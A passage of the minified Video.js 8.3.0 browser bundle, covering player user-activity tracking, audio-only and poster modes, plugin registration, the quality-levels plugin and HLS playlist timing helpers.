this.error_=e,this.removeClass("vjs-error"),void(this.errorDisplay&&this.errorDisplay.close());this.error_=new Yn(e),this.addClass("vjs-error"),kt.error(`(CODE:${this.error_.code} ${Yn.errorTypes[this.error_.code]})`,this.error_.message,this.error_),this.trigger("error"),gt("error").forEach((e=>e(this,this.error_)))}reportUserActivity(e){this.userActivity_=!0}userActive(e){if(void 0===e)return this.userActive_;if((e=!!e)!==this.userActive_){if(this.userActive_=e,this.userActive_)return this.userActivity_=!0,this.removeClass("vjs-user-inactive"),this.addClass("vjs-user-active"),void this.trigger("useractive");this.tech_&&this.tech_.one("mousemove",(function(e){e.stopPropagation(),e.preventDefault()})),this.userActivity_=!1,this.removeClass("vjs-user-active"),this.addClass("vjs-user-inactive"),this.trigger("userinactive")}}listenForUserActivity_(){let e,t,i;const n=tn(this,this.reportUserActivity),r=function(t){n(),this.clearInterval(e)};this.on("mousedown",(function(){n(),this.clearInterval(e),e=this.setInterval(n,250)})),this.on("mousemove",(function(e){e.screenX===t&&e.screenY===i||(t=e.screenX,i=e.screenY,n())})),this.on("mouseup",r),this.on("mouseleave",r);const s=this.getChild("controlBar");let a;!s||Xt||jt||(s.on("mouseenter",(function(e){0!==this.player().options_.inactivityTimeout&&(this.player().cache_.inactivityTimeout=this.player().options_.inactivityTimeout),this.player().options_.inactivityTimeout=0})),s.on("mouseleave",(function(e){this.player().options_.inactivityTimeout=this.player().cache_.inactivityTimeout}))),this.on("keydown",n),this.on("keyup",n),this.setInterval((function(){if(!this.userActivity_)return;this.userActivity_=!1,this.userActive(!0),this.clearTimeout(a);const e=this.options_.inactivityTimeout;e<=0||(a=this.setTimeout((function(){this.userActivity_||this.userActive(!1)}),e))}),250)}playbackRate(e){if(void 0===e)return this.tech_&&this.tech_.featuresPlaybackRate?this.cache_.lastPlaybackRate||this.techGet_("playbackRate"):1;this.techCall_("setPlaybackRate",e)}defaultPlaybackRate(e){return void 0!==e?this.techCall_("setDefaultPlaybackRate",e):this.tech_&&this.tech_.featuresPlaybackRate?this.techGet_("defaultPlaybackRate"):1}isAudio(e){if(void 0===e)return!!this.isAudio_;this.isAudio_=!!e}enableAudioOnlyUI_(){this.addClass("vjs-audio-only-mode");const e=this.children(),t=this.getChild("ControlBar"),i=t&&t.currentHeight();e.forEach((e=>{e!==t&&e.el_&&!e.hasClass("vjs-hidden")&&(e.hide(),this.audioOnlyCache_.hiddenChildren.push(e))})),this.audioOnlyCache_.playerHeight=this.currentHeight(),this.height(i),this.trigger("audioonlymodechange")}disableAudioOnlyUI_(){this.removeClass("vjs-audio-only-mode"),this.audioOnlyCache_.hiddenChildren.forEach((e=>e.show())),this.height(this.audioOnlyCache_.playerHeight),this.trigger("audioonlymodechange")}audioOnlyMode(e){if("boolean"!=typeof e||e===this.audioOnlyMode_)return this.audioOnlyMode_;if(this.audioOnlyMode_=e,e){const e=[];return this.isInPictureInPicture()&&e.push(this.exitPictureInPicture()),this.isFullscreen()&&e.push(this.exitFullscreen()),this.audioPosterMode()&&e.push(this.audioPosterMode(!1)),Promise.all(e).then((()=>this.enableAudioOnlyUI_()))}return Promise.resolve().then((()=>this.disableAudioOnlyUI_()))}enablePosterModeUI_(){(this.tech_&&this.tech_).hide(),this.addClass("vjs-audio-poster-mode"),this.trigger("audiopostermodechange")}disablePosterModeUI_(){(this.tech_&&this.tech_).show(),this.removeClass("vjs-audio-poster-mode"),this.trigger("audiopostermodechange")}audioPosterMode(e){return"boolean"!=typeof e||e===this.audioPosterMode_?this.audioPosterMode_:(this.audioPosterMode_=e,e?this.audioOnlyMode()?this.audioOnlyMode(!1).then((()=>{this.enablePosterModeUI_()})):Promise.resolve().then((()=>{this.enablePosterModeUI_()})):Promise.resolve().then((()=>{this.disablePosterModeUI_()})))}addTextTrack(e,t,i){if(this.tech_)return this.tech_.addTextTrack(e,t,i)}addRemoteTextTrack(e,t){if(this.tech_)return this.tech_.addRemoteTextTrack(e,t)}removeRemoteTextTrack(e={}){let{track:t}=e;if(t||(t=e),this.tech_)return this.tech_.removeRemoteTextTrack(t)}getVideoPlaybackQuality(){return this.techGet_("getVideoPlaybackQuality")}videoWidth(){return this.tech_&&this.tech_.videoWidth&&this.tech_.videoWidth()||0}videoHeight(){return this.tech_&&this.tech_.videoHeight&&this.tech_.videoHeight()||0}language(e){if(void 0===e)return this.language_;this.language_!==String(e).toLowerCase()&&(this.language_=String(e).toLowerCase(),un(this)&&this.trigger("languagechange"))}languages(){return Pt(Zs.prototype.options_.languages,this.languages_)}toJSON(){const e=Pt(this.options_),t=e.tracks;e.tracks=[];for(let i=0;i<t.length;i++){let n=t[i];n=Pt(n),n.player=void 0,e.tracks[i]=n}return e}createModal(e,t){(t=t||{}).content=e||"";const i=new Hn(this,t);return this.addChild(i),i.on("dispose",(()=>{this.removeChild(i)})),i.open(),i}updateCurrentBreakpoint_(){if(!this.responsive())return;const e=this.currentBreakpoint(),t=this.currentWidth();for(let i=0;i<Gs.length;i++){const n=Gs[i];if(t<=this.breakpoints_[n]){if(e===n)return;e&&this.removeClass(Ks[e]),this.addClass(Ks[n]),this.breakpoint_=n;break}}}removeCurrentBreakpoint_(){const e=this.currentBreakpointClass();this.breakpoint_="",e&&this.removeClass(e)}breakpoints(e){return void 0===e||(this.breakpoint_="",this.breakpoints_=Object.assign({},Xs,e),this.updateCurrentBreakpoint_()),Object.assign(this.breakpoints_)}responsive(e){return void 0===e?this.responsive_:(e=Boolean(e))!==this.responsive_?(this.responsive_=e,e?(this.on("playerresize",this.boundUpdateCurrentBreakpoint_),this.updateCurrentBreakpoint_()):(this.off("playerresize",this.boundUpdateCurrentBreakpoint_),this.removeCurrentBreakpoint_()),e):void 0}currentBreakpoint(){return this.breakpoint_}currentBreakpointClass(){return Ks[this.breakpoint_]||""}loadMedia(e,t){if(!e||"object"!=typeof e)return;this.reset(),this.cache_.media=Pt(e);const{artist:i,artwork:n,description:r,poster:s,src:a,textTracks:o,title:l}=this.cache_.media;!n&&s&&(this.cache_.media.artwork=[{src:s,type:kr(s)}]),a&&this.src(a),s&&this.poster(s),Array.isArray(o)&&o.forEach((e=>this.addRemoteTextTrack(e,!1))),this.titleBar&&this.titleBar.update({title:l,description:r||i||""}),this.ready(t)}getMedia(){if(!this.cache_.media){const e=this.poster(),t={src:this.currentSources(),textTracks:Array.prototype.map.call(this.remoteTextTracks(),(e=>({kind:e.kind,label:e.label,language:e.language,src:e.src})))};return e&&(t.poster=e,t.artwork=[{src:t.poster,type:kr(t.poster)}]),t}return Pt(this.cache_.media)}static getTagSettings(e){const t={sources:[],tracks:[]},i=pi(e),n=i["data-setup"];if(li(e,"vjs-fill")&&(i.fill=!0),li(e,"vjs-fluid")&&(i.fluid=!0),null!==n){const[e,t]=c()(n||"{}");e&&kt.error(e),Object.assign(i,t)}if(Object.assign(t,i),e.hasChildNodes()){const i=e.childNodes;for(let e=0,n=i.length;e<n;e++){const n=i[e],r=n.nodeName.toLowerCase();"source"===r?t.sources.push(pi(n)):"track"===r&&t.tracks.push(pi(n))}}return t}debug(e){if(void 0===e)return this.debugEnabled_;e?(this.trigger("debugon"),this.previousLogLevel_=this.log.level,this.log.level("debug"),this.debugEnabled_=!0):(this.trigger("debugoff"),this.log.level(this.previousLogLevel_),this.previousLogLevel_=void 0,this.debugEnabled_=!1)}playbackRates(e){if(void 0===e)return this.cache_.playbackRates;Array.isArray(e)&&e.every((e=>"number"==typeof e))&&(this.cache_.playbackRates=e,this.trigger("playbackrateschange"))}}cr.names.forEach((function(e){const t=cr[e];Zs.prototype[t.getterName]=function(){return this.tech_?this.tech_[t.getterName]():(this[t.privateName]=this[t.privateName]||new t.ListClass,this[t.privateName])}})),Zs.prototype.crossorigin=Zs.prototype.crossOrigin,Zs.players={};const Qs=r().navigator;Zs.prototype.options_={techOrder:dr.defaultTechOrder_,html5:{},enableSourceset:!0,inactivityTimeout:2e3,playbackRates:[],liveui:!1,children:["mediaLoader","posterImage","titleBar","textTrackDisplay","loadingSpinner","bigPlayButton","liveTracker","controlBar","errorDisplay","textTrackSettings","resizeManager"],language:Qs&&(Qs.languages&&Qs.languages[0]||Qs.userLanguage||Qs.language)||"en",languages:{},notSupportedMessage:"No compatible source was found for this media.",normalizeAutoplay:!1,fullscreen:{options:{navigationUI:"hide"}},breakpoints:{},responsive:!1,audioOnlyMode:!1,audioPosterMode:!1},["ended","seeking","seekable","networkState","readyState"].forEach((function(e){Zs.prototype[e]=function(){return this.techGet_(e)}})),Vs.forEach((function(e){Zs.prototype[`handleTech${wn(e)}_`]=function(){return this.trigger(e)}})),Sn.registerComponent("Player",Zs);const ea="plugin",ta="activePlugins_",ia={},na=e=>ia.hasOwnProperty(e),ra=e=>na(e)?ia[e]:void 0,sa=(e,t)=>{e[ta]=e[ta]||{},e[ta][t]=!0},aa=(e,t,i)=>{const n=(i?"before":"")+"pluginsetup";e.trigger(n,t),e.trigger(n+":"+t.name,t)},oa=(e,t)=>(t.prototype.name=e,function(...i){aa(this,{name:e,plugin:t,instance:null},!0);const n=new t(...[this,...i]);return this[e]=()=>n,aa(this,n.getEventHash()),n});class la{constructor(e){if(this.constructor===la)throw new Error("Plugin must be sub-classed; not directly instantiated.");this.player=e,this.log||(this.log=this.player.log.createLogger(this.name)),_n(this),delete this.trigger,yn(this,this.constructor.defaultState),sa(e,this.name),this.dispose=this.dispose.bind(this),e.on("dispose",this.dispose)}version(){return this.constructor.VERSION}getEventHash(e={}){return e.name=this.name,e.plugin=this.constructor,e.instance=this,e}trigger(e,t={}){return Ki(this.eventBusEl_,e,this.getEventHash(t))}handleStateChanged(e){}dispose(){const{name:e,player:t}=this;this.trigger("dispose"),this.off(),t.off("dispose",this.dispose),t[ta][e]=!1,this.player=this.state=null,t[e]=oa(e,ia[e])}static isBasic(e){const t="string"==typeof e?ra(e):e;return"function"==typeof t&&!la.prototype.isPrototypeOf(t.prototype)}static registerPlugin(e,t){if("string"!=typeof e)throw new Error(`Illegal plugin name, "${e}", must be a string, was ${typeof e}.`);if(na(e))kt.warn(`A plugin named "${e}" already exists. You may want to avoid re-registering plugins!`);else if(Zs.prototype.hasOwnProperty(e))throw new Error(`Illegal plugin name, "${e}", cannot share a name with an existing player method!`);if("function"!=typeof t)throw new Error(`Illegal plugin for "${e}", must be a function, was ${typeof t}.`);return ia[e]=t,e!==ea&&(la.isBasic(t)?Zs.prototype[e]=function(e,t){const i=function(){aa(this,{name:e,plugin:t,instance:null},!0);const i=t.apply(this,arguments);return sa(this,e),aa(this,{name:e,plugin:t,instance:i}),i};return Object.keys(t).forEach((function(e){i[e]=t[e]})),i}(e,t):Zs.prototype[e]=oa(e,t)),t}static deregisterPlugin(e){if(e===ea)throw new Error("Cannot de-register base plugin.");na(e)&&(delete ia[e],delete Zs.prototype[e])}static getPlugins(e=Object.keys(ia)){let t;return e.forEach((e=>{const i=ra(e);i&&(t=t||{},t[e]=i)})),t}static getPluginVersion(e){const t=ra(e);return t&&t.VERSION||""}}function ua(e,t,i,n){return function(e,t){let i=!1;return function(...n){return i||kt.warn(e),i=!0,t.apply(this,n)}}(`${t} is deprecated and will be removed in ${e}.0; please use ${i} instead.`,n)}la.getPlugin=ra,la.BASE_PLUGIN_NAME=ea,la.registerPlugin(ea,la),Zs.prototype.usingPlugin=function(e){return!!this[ta]&&!0===this[ta][e]},Zs.prototype.hasPlugin=function(e){return!!na(e)};const ca=e=>0===e.indexOf("#")?e.slice(1):e;function da(e,t,i){let n=da.getPlayer(e);if(n)return t&&kt.warn(`Player "${e}" is already initialised. Options will not be applied.`),i&&n.ready(i),n;const r="string"==typeof e?Ci("#"+ca(e)):e;if(!ii(r))throw new TypeError("The element or ID supplied is not valid. (videojs)");r.ownerDocument.defaultView&&r.ownerDocument.body.contains(r)||kt.warn("The element supplied is not included in the DOM"),!0===(t=t||{}).restoreEl&&(t.restoreEl=(r.parentNode&&r.parentNode.hasAttribute("data-vjs-player")?r.parentNode:r).cloneNode(!0)),gt("beforesetup").forEach((e=>{const i=e(r,Pt(t));Dt(i)&&!Array.isArray(i)?t=Pt(t,i):kt.error("please return an object in beforesetup hooks")}));const s=Sn.getComponent("Player");return n=new s(r,t,i),gt("setup").forEach((e=>e(n))),n}if(da.hooks_=mt,da.hooks=gt,da.hook=function(e,t){gt(e,t)},da.hookOnce=function(e,t){gt(e,[].concat(t).map((t=>{const i=(...n)=>(_t(e,i),t(...n));return i})))},da.removeHook=_t,!0!==r().VIDEOJS_NO_DYNAMIC_STYLE&&ti()){let e=Ci(".vjs-styles-defaults");if(!e){e=ji("vjs-styles-defaults");const t=Ci("head");t&&t.insertBefore(e,t.firstChild),Ni(e,"\n      .video-js {\n        width: 300px;\n        height: 150px;\n      }\n\n      .vjs-fluid:not(.vjs-audio-only-mode) {\n        padding-top: 56.25%\n      }\n    ")}}Yi(1,da),da.VERSION="8.3.0",da.options=Zs.prototype.options_,da.getPlayers=()=>Zs.players,da.getPlayer=e=>{const t=Zs.players;let i;if("string"==typeof e){const n=ca(e),r=t[n];if(r)return r;i=Ci("#"+n)}else i=e;if(ii(i)){const{player:e,playerId:n}=i;if(e||t[n])return e||t[n]}},da.getAllPlayers=()=>Object.keys(Zs.players).map((e=>Zs.players[e])).filter(Boolean),da.players=Zs.players,da.getComponent=Sn.getComponent,da.registerComponent=(e,t)=>{dr.isTech(t)&&kt.warn(`The ${e} tech was registered as a component. It should instead be registered using videojs.registerTech(name, tech)`),Sn.registerComponent.call(Sn,e,t)},da.getTech=dr.getTech,da.registerTech=dr.registerTech,da.use=function(e,t){hr[e]=hr[e]||[],hr[e].push(t)},Object.defineProperty(da,"middleware",{value:{},writeable:!1,enumerable:!0}),Object.defineProperty(da.middleware,"TERMINATOR",{value:fr,writeable:!1,enumerable:!0}),da.browser=Qt,da.obj=It,da.mergeOptions=ua(9,"videojs.mergeOptions","videojs.obj.merge",Pt),da.defineLazyProperty=ua(9,"videojs.defineLazyProperty","videojs.obj.defineLazyProperty",At),da.bind=ua(9,"videojs.bind","native Function.prototype.bind",tn),da.registerPlugin=la.registerPlugin,da.deregisterPlugin=la.deregisterPlugin,da.plugin=(e,t)=>(kt.warn("videojs.plugin() is deprecated; use videojs.registerPlugin() instead"),la.registerPlugin(e,t)),da.getPlugins=la.getPlugins,da.getPlugin=la.getPlugin,da.getPluginVersion=la.getPluginVersion,da.addLanguage=function(e,t){return e=(""+e).toLowerCase(),da.options.languages=Pt(da.options.languages,{[e]:t}),da.options.languages[e]},da.log=kt,da.createLogger=St,da.time=In,da.createTimeRange=ua(9,"videojs.createTimeRange","videojs.time.createTimeRanges",Ln),da.createTimeRanges=ua(9,"videojs.createTimeRanges","videojs.time.createTimeRanges",Ln),da.formatTime=ua(9,"videojs.formatTime","videojs.time.formatTime",An),da.setFormatTime=ua(9,"videojs.setFormatTime","videojs.time.setFormatTime",En),da.resetFormatTime=ua(9,"videojs.resetFormatTime","videojs.time.resetFormatTime",Pn),da.parseUrl=ua(9,"videojs.parseUrl","videojs.url.parseUrl",Xn),da.isCrossOrigin=ua(9,"videojs.isCrossOrigin","videojs.url.isCrossOrigin",er),da.EventTarget=on,da.any=Zi,da.on=Ji,da.one=Xi,da.off=Gi,da.trigger=Ki,da.xhr=h(),da.TextTrack=rr,da.AudioTrack=sr,da.VideoTrack=ar,["isEl","isTextNode","createEl","hasClass","addClass","removeClass","toggleClass","setAttributes","getAttributes","emptyEl","appendContent","insertContent"].forEach((e=>{da[e]=function(){return kt.warn(`videojs.${e}() is deprecated; use videojs.dom.${e}() instead`),Pi[e].apply(null,arguments)}})),da.computedStyle=ua(9,"videojs.computedStyle","videojs.dom.computedStyle",Ei),da.dom=Pi,da.fn=sn,da.num=Br,da.str=kn,da.url=tr;class ha{constructor(e){let t=this;return t.id=e.id,t.label=t.id,t.width=e.width,t.height=e.height,t.bitrate=e.bandwidth,t.frameRate=e.frameRate,t.enabled_=e.enabled,Object.defineProperty(t,"enabled",{get:()=>t.enabled_(),set(e){t.enabled_(e)}}),t}}class pa extends da.EventTarget{constructor(){super();let e=this;return e.levels_=[],e.selectedIndex_=-1,Object.defineProperty(e,"selectedIndex",{get:()=>e.selectedIndex_}),Object.defineProperty(e,"length",{get:()=>e.levels_.length}),e}addQualityLevel(e){let t=this.getQualityLevelById(e.id);if(t)return t;const i=this.levels_.length;return t=new ha(e),""+i in this||Object.defineProperty(this,i,{get(){return this.levels_[i]}}),this.levels_.push(t),this.trigger({qualityLevel:t,type:"addqualitylevel"}),t}removeQualityLevel(e){let t=null;for(let i=0,n=this.length;i<n;i++)if(this[i]===e){t=this.levels_.splice(i,1)[0],this.selectedIndex_===i?this.selectedIndex_=-1:this.selectedIndex_>i&&this.selectedIndex_--;break}return t&&this.trigger({qualityLevel:e,type:"removequalitylevel"}),t}getQualityLevelById(e){for(let t=0,i=this.length;t<i;t++){const i=this[t];if(i.id===e)return i}return null}dispose(){this.selectedIndex_=-1,this.levels_.length=0}}pa.prototype.allowedEvents_={change:"change",addqualitylevel:"addqualitylevel",removequalitylevel:"removequalitylevel"};for(const e in pa.prototype.allowedEvents_)pa.prototype["on"+e]=null;const ma=function(e){return function(e,t){const i=e.qualityLevels,n=new pa,r=function(){n.dispose(),e.qualityLevels=i,e.off("dispose",r)};return e.on("dispose",r),e.qualityLevels=()=>n,e.qualityLevels.VERSION="3.0.0",n}(this,da.mergeOptions({},e))};(da.registerPlugin||da.plugin)("qualityLevels",ma),ma.VERSION="3.0.0";const ga=function(e,t){if(/^[a-z]+:/i.test(t))return t;/^data:/.test(e)&&(e=r().location&&r().location.href||"");var i="function"==typeof r().URL,n=/^\/\//.test(e),s=!r().location&&!/\/\//i.test(e);if(i?e=new(r().URL)(e,r().location||"http://example.com"):/\/\//i.test(e)||(e=g().buildAbsoluteURL(r().location&&r().location.href||"",e)),i){var a=new URL(t,e);return s?a.href.slice(18):n?a.href.slice(a.protocol.length):a.href}return g().buildAbsoluteURL(e,t)},_a=(e,t)=>t&&t.responseURL&&e!==t.responseURL?t.responseURL:e,va=e=>da.log.debug?da.log.debug.bind(da,"VHS:",`${e} >`):function(){};function ya(...e){const t=da.obj||da;return(t.merge||t.mergeOptions).apply(t,e)}function ba(...e){const t=da.time||da;return(t.createTimeRanges||t.createTimeRanges).apply(t,e)}const wa=1/30,Ta=.1,ka=function(e,t){const i=[];let n;if(e&&e.length)for(n=0;n<e.length;n++)t(e.start(n),e.end(n))&&i.push([e.start(n),e.end(n)]);return ba(i)},Sa=function(e,t){return ka(e,(function(e,i){return e-Ta<=t&&i+Ta>=t}))},Ma=function(e,t){return ka(e,(function(e){return e-wa>=t}))},xa=e=>{const t=[];if(!e||!e.length)return"";for(let i=0;i<e.length;i++)t.push(e.start(i)+" => "+e.end(i));return t.join(", ")},La=e=>{const t=[];for(let i=0;i<e.length;i++)t.push({start:e.start(i),end:e.end(i)});return t},Ca=function(e){if(e&&e.length&&e.end)return e.end(e.length-1)},Da=function(e,t){let i=0;if(!e||!e.length)return i;for(let n=0;n<e.length;n++){const r=e.start(n),s=e.end(n);t>s||(i+=t>r&&t<=s?s-t:s-r)}return i},Ea=(e,t)=>{if(!t.preload)return t.duration;let i=0;return(t.parts||[]).forEach((function(e){i+=e.duration})),(t.preloadHints||[]).forEach((function(t){"PART"===t.type&&(i+=e.partTargetDuration)})),i},Pa=e=>(e.segments||[]).reduce(((e,t,i)=>(t.parts?t.parts.forEach((function(n,r){e.push({duration:n.duration,segmentIndex:i,partIndex:r,part:n,segment:t})})):e.push({duration:t.duration,segmentIndex:i,partIndex:null,segment:t,part:null}),e)),[]),Aa=e=>{const t=e.segments&&e.segments.length&&e.segments[e.segments.length-1];return t&&t.parts||[]},Ia=({preloadSegment:e})=>{if(!e)return;const{parts:t,preloadHints:i}=e;let n=(i||[]).reduce(((e,t)=>e+("PART"===t.type?1:0)),0);return n+=t&&t.length?t.length:0,n},Oa=(e,t)=>{if(t.endList)return 0;if(e&&e.suggestedPresentationDelay)return e.suggestedPresentationDelay;const i=Aa(t).length>0;return i&&t.serverControl&&t.serverControl.partHoldBack?t.serverControl.partHoldBack:i&&t.partTargetDuration?3*t.partTargetDuration:t.serverControl&&t.serverControl.holdBack?t.serverControl.holdBack:t.targetDuration?3*t.targetDuration:0},Ya=function(e,t,i){if(void 0===t&&(t=e.mediaSequence+e.segments.length),t<e.mediaSequence)return 0;const n=function(e,t){let i=0,n=t-e.mediaSequence,r=e.segments[n];if(r){if(void 0!==r.start)return{result:r.start,precise:!0};if(void 0!==r.end)return{result:r.end-r.duration,precise:!0}}for(;n--;){if(r=e.segments[n],void 0!==r.end)return{result:i+r.end,precise:!0};if(i+=Ea(e,r),void 0!==r.start)return{result:i+r.start,precise:!0}}return{result:i,precise:!1}}(e,t);if(n.precise)return n.result;const r=function(e,t){let i,n=0,r=t-e.mediaSequence;for(;r<e.segments.length;r++){if(i=e.segments[r],void 0!==i.start)return{result:i.start-n,precise:!0};if(n+=Ea(e,i),void 0!==i.end)return{result:i.end-n,precise:!0}}return{result:-1,precise:!1}}(e,t);return r.precise?r.result:n.result+i},$a=function(e,t,i){if(!e)return 0;if("number"!=typeof i&&(i=0),void 0===t){if(e.totalDuration)return e.totalDuration;if(!e.endList)return r()[1/0]}return Ya(e,t,i)},ja=function({defaultDuration:e,durationList:t,startIndex:i,endIndex:n}){let r=0;if(i>n&&([i,n]=[n,i]),i<0){for(let t=i;t<Math.min(0,n);t++)r+=e;i=0}for(let e=i;e<n;e++)r+=t[e].duration;return r},Na=function(e,t,i,n){if(!e||!e.segments)return null;if(e.endList)return $a(e);if(null===t)return null;t=t||0;let r=Ya(e,e.mediaSequence+e.segments.length,t);return i&&(r-=n="number"==typeof n?n:Oa(null,e)),Math.max(0,r)},Ra=function(e){return e.excludeUntil&&e.excludeUntil>Date.now()},Ha=function(e){return e.excludeUntil&&e.excludeUntil===1/0},Fa=function(e){const t=Ra(e);return!e.disabled&&!t},Ba=function(e,t){return t.attributes&&t.attributes[e]},Ua=(e,t)=>{if(1===e.playlists.length)return!0;const i=t.attributes.BANDWIDTH||Number.MAX_VALUE;return 0===e.playlists.filter((e=>!!Fa(e)&&(e.attributes.BANDWIDTH||0)<i)).length},Wa=(e,t)=>!(!e&&!t||!e&&t||e&&!t||e!==t&&(!e.id||!t.id||e.id!==t.id)&&(!e.resolvedUri||!t.resolvedUri||e.resolvedUri!==t.resolvedUri)&&(!e.uri||!t.uri||e.uri!==t.uri)),za=function(e,t){const i=e&&e.mediaGroups&&e.mediaGroups.AUDIO||{};let n=!1;for(const e in i){for(const r in i[e])if(n=t(i[e][r]),n)break;if(n)break}return!!n},qa=e=>{if(!e||!e.playlists||!e.playlists.length)return za(e,(e=>e.playlists&&e.playlists.length||e.uri));for(let t=0;t<e.playlists.length;t++){const i=e.playlists[t],n=i.attributes&&i.attributes.CODECS;if(!(n&&n.split(",").every((e=>Y(e)))||za(e,(e=>Wa(i,e)))))return!1}return!0};var Va={liveEdgeDelay:Oa,duration:$a,seekable:function(e,t,i){const n=t||0,r=Na(e,t,!0,i);return null===r?ba():ba(n,r)},getMediaInfoForTime:function({playlist:e,currentTime:t,startingSegmentIndex:i,startingPartIndex:n,startTime:r,exactManifestTimings:s}){let a=t-r;const o=Pa(e);let l=0;for(let e=0;e<o.length;e++){const t=o[e];if(i===t.segmentIndex&&("number"!=typeof n||"number"!=typeof t.partIndex||n===t.partIndex)){l=e;break}}if(a<0){if(l>0)for(let t=l-1;t>=0;t--){const i=o[t];if(a+=i.duration,s){if(a<0)continue}else if(a+wa<=0)continue;return{partIndex:i.partIndex,segmentIndex:i.segmentIndex,startTime:r-ja({defaultDuration:e.targetDuration,durationList:o,startIndex:l,endIndex:t})}}return{partIndex:o[0]&&o[0].partIndex||null,segmentIndex:o[0]&&o[0].segmentIndex||0,startTime:t}}if(l<0){for(let i=l;i<0;i++)if(a-=e.targetDuration,a<0)return{partIndex:o[0]&&o[0].partIndex||null,segmentIndex:o[0]&&o[0].segmentIndex||0,startTime:t};l=0}for(let t=l;t<o.length;t++){const i=o[t];if(a-=i.duration,s){if(a>0)continue}else if(a-wa>=0)continue;return{partIndex:i.partIndex,segmentIndex:i.segmentIndex,startTime:r+ja({defaultDuration:e.targetDuration,durationList:o,startIndex:l,endIndex:t})}}return{segmentIndex:o[o.length-1].segmentIndex,partIndex:o[o.length-1].partIndex,startTime:t}},isEnabled:Fa,isDisabled:function(e){return e.disabled},isExcluded:Ra,isIncompatible:Ha,playlistEnd:Na,isAes:function(e){for(let t=0;t<e.segments.length;t++)if(e.segments[t].key)return!0;return!1},hasAttribute:Ba,estimateSegmentRequestTime:function(e,t,i,n=0){return Ba("BANDWIDTH",i)?(e*i.attributes.BANDWIDTH-8*n)/t:NaN},isLowestEnabledRendition:Ua,isAudioOnly:qa,playlistMatch:Wa,segmentDurationWithParts:Ea};const{log:Ja}=da,Ga=(e,t)=>`${e}-${t}`,Ka=(e,t,i)=>`placeholder-uri-${e}-${t}-${i}`,Xa=(e,t)=>{e.mediaGroups&&["AUDIO","SUBTITLES"].forEach((i=>{if(e.mediaGroups[i])for(const n in e.mediaGroups[i])for(const r in e.mediaGroups[i][n]){const s=e.mediaGroups[i][n][r];t(s,i,n,r)}}))},Za=({playlist:e,uri:t,id:i})=>{e.id=i,e.playlistErrors_=0,t&&(e.uri=t),e.attributes=e.attributes||{}},Qa=(e,t,i=Ka)=>{e.uri=t;for(let t=0;t<e.playlists.length;t++)if(!e.playlists[t].uri){const i=`placeholder-uri-${t}`;e.playlists[t].uri=i}const n=qa(e);Xa(e,((t,r,s,a)=>{if(!t.playlists||!t.playlists.length){if(n&&"AUDIO"===r&&!t.uri)for(let t=0;t<e.playlists.length;t++){const i=e.playlists[t];if(i.attributes&&i.attributes.AUDIO&&i.attributes.AUDIO===s)return}t.playlists=[_({},t)]}t.playlists.forEach((function(t,n){const o=i(r,s,a,t),l=Ga(n,o);t.uri?t.resolvedUri=t.resolvedUri||ga(e.uri,t.uri):(t.uri=0===n?o:l,t.resolvedUri=t.uri),t.id=t.id||l,t.attributes=t.attributes||{},e.playlists[t.id]=t,e.playlists[t.uri]=t}))})),(e=>{let t=e.playlists.length;for(;t--;){const i=e.playlists[t];Za({playlist:i,id:Ga(t,i.uri)}),i.resolvedUri=ga(e.uri,i.uri),e.playlists[i.id]=i,e.playlists[i.uri]=i,i.attributes.BANDWIDTH||Ja.warn("Invalid playlist STREAM-INF detected. Missing BANDWIDTH attribute.")}})(e),(e=>{Xa(e,(t=>{t.uri&&(t.resolvedUri=ga(e.uri,t.uri))}))})(e)},{EventTarget:eo}=da,to=(e,t)=>{if(!e)return t;const i=ya(e,t);if(e.preloadHints&&!t.preloadHints&&delete i.preloadHints,e.parts&&!t.parts)delete i.parts;else if(e.parts&&t.parts)for(let n=0;n<t.parts.length;n++)e.parts&&e.parts[n]&&(i.parts[n]=ya(e.parts[n],t.parts[n]));return!e.skipped&&t.skipped&&(i.skipped=!1),e.preload&&!t.preload&&(i.preload=!1),i},io=(e,t)=>{!e.resolvedUri&&e.uri&&(e.resolvedUri=ga(t,e.uri)),e.key&&!e.key.resolvedUri&&(e.key.resolvedUri=ga(t,e.key.uri)),e.map&&!e.map.resolvedUri&&(e.map.resolvedUri=ga(t,e.map.uri)),e.map&&e.map.key&&!e.map.key.resolvedUri&&(e.map.key.resolvedUri=ga(t,e.map.key.uri)),e.parts&&e.parts.length&&e.parts.forEach((e=>{e.resolvedUri||(e.resolvedUri=ga(t,e.uri))})),e.preloadHints&&e.preloadHints.length&&e.preloadHints.forEach((e=>{e.resolvedUri||(e.resolvedUri=ga(t,e.uri))}))},no=function(e){const t=e.segments||[],i=e.preloadSegment;if(i&&i.parts&&i.parts.length){if(i.preloadHints)for(let e=0;e<i.preloadHints.length;e++)if("MAP"===i.preloadHints[e].type)return t;i.duration=e.targetDuration,i.preload=!0,t.push(i)}return t},ro=(e,t)=>e===t||e.segments&&t.segments&&e.segments.length===t.segments.length&&e.endList===t.endList&&e.mediaSequence===t.mediaSequence&&e.preloadSegment===t.preloadSegment,so=(e,t,i=ro)=>{const n=ya(e,{}),r=n.playlists[t.id];if(!r)return null;if(i(r,t))return null;t.segments=no(t);const s=ya(r,t);if(s.preloadSegment&&!t.preloadSegment&&delete s.preloadSegment,r.segments){if(t.skip){t.segments=t.segments||[];for(let e=0;e<t.skip.skippedSegments;e++)t.segments.unshift({skipped:!0})}s.segments=((e,t,i)=>{const n=e.slice(),r=t.slice();i=i||0;const s=[];let a;for(let e=0;e<r.length;e++){const t=n[e+i],o=r[e];t?(a=t.map||a,s.push(to(t,o))):(a&&!o.map&&(o.map=a),s.push(o))}return s})(r.segments,t.segments,t.mediaSequence-r.mediaSequence)}s.segments.forEach((e=>{io(e,s.resolvedUri)}));for(let e=0;e<n.playlists.length;e++)n.playlists[e].id===t.id&&(n.playlists[e]=s);return n.playlists[t.id]=s,n.playlists[t.uri]=s,Xa(e,((e,i,n,r)=>{if(e.playlists)for(let i=0;i<e.playlists.length;i++)t.id===e.playlists[i].id&&(e.playlists[i]=s)})),n},ao=(e,t)=>{const i=e.segments||[],n=i[i.length-1],r=n&&n.parts&&n.parts[n.parts.length-1],s=r&&r.duration||n&&n.duration;return t&&s?1e3*s:500*(e.partTargetDuration||e.targetDuration||10)};class oo extends eo{constructor(e,t,i={}){if(super(),!e)throw new Error("A non-empty playlist URL or object is required");this.logger_=va("PlaylistLoader");const{withCredentials:n=!1}=i;this.src=e,this.vhs_=t,this.withCredentials=n;const 